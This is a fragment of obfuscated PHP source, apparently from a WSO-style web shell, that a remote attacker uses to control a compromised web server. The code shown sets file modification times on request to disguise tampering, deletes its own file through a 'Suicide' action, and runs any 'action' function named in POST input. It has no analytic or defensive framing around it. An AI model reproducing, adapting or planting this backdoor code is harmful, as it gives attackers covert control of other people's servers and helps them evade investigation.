            echo "<form onsubmit=\"g(null,null,'" . UrlENCoDE(sTR_Rot13($_POST["p"])) . "',null,rot13(this.name.value));return false;\"><input type=text name=name value=\"" . htMLSPeCIAlcharS($_POST["p"]) . "\"><input type=submit value=\">>\"></form>";
            break;
        case "touch":
            if (!empty($_POST["s"])) {
                $_rdbd = stRTOTImE($_POST["s"]);
                if ($_rdbd) {
                    if (!TOuCH($_POST["p"], $_rdbd, $_rdbd)) {
                        echo "Fail!";
                    } else {
                        echo "Touched!";
                    }
                } else {
                    echo "Bad time format!";
                }
            }
            CleArSTatcACHe();
            echo "<script>s_=\"\";</script><form onsubmit=\"g(null,null,'" . uRLeNCOde(STR_roT13($_POST["p"])) . "',null,this.touch.value);return false;\"><input type=text name=touch value=\"" . DAtE("Y-m-d H:i:s", @FilEmtIMe($_POST["p"])) . "\"><input type=submit value=\">>\"></form>";
            break;
    }
    echo "</div>";
    _ۖ();
}
function acTiOnLogout()
{
    SetCoOkIe($GLOBALS["cook"], "", TiME() - (int) round(1800 + 1800));
    die("bye!");
}
function _()
{
    if ($_POST["p"] == "yes") {
        if (@UNLinK(PreG_replace("!\\(\\d+\\)\\s.*!", "", __FILE__))) {
            die("Shell has been removed");
        } else {
            echo "unlink error!";
        }
    }
    if ($_POST["p"] != "yes") {
        _؉();
    }
    echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
    _ۖ();
}
if (empty($_POST["a"])) {
    if (isset($_smp) && FUncTiON_eXISTS("action" . $_smp)) {
        $_POST["a"] = $_smp;
    }
}
if (!empty($_POST["a"]) && FUNction_EXIstS("action" . $_POST["a"])) {
    CAll_user_FUNc("action" . $_POST["a"]);
}
exit;
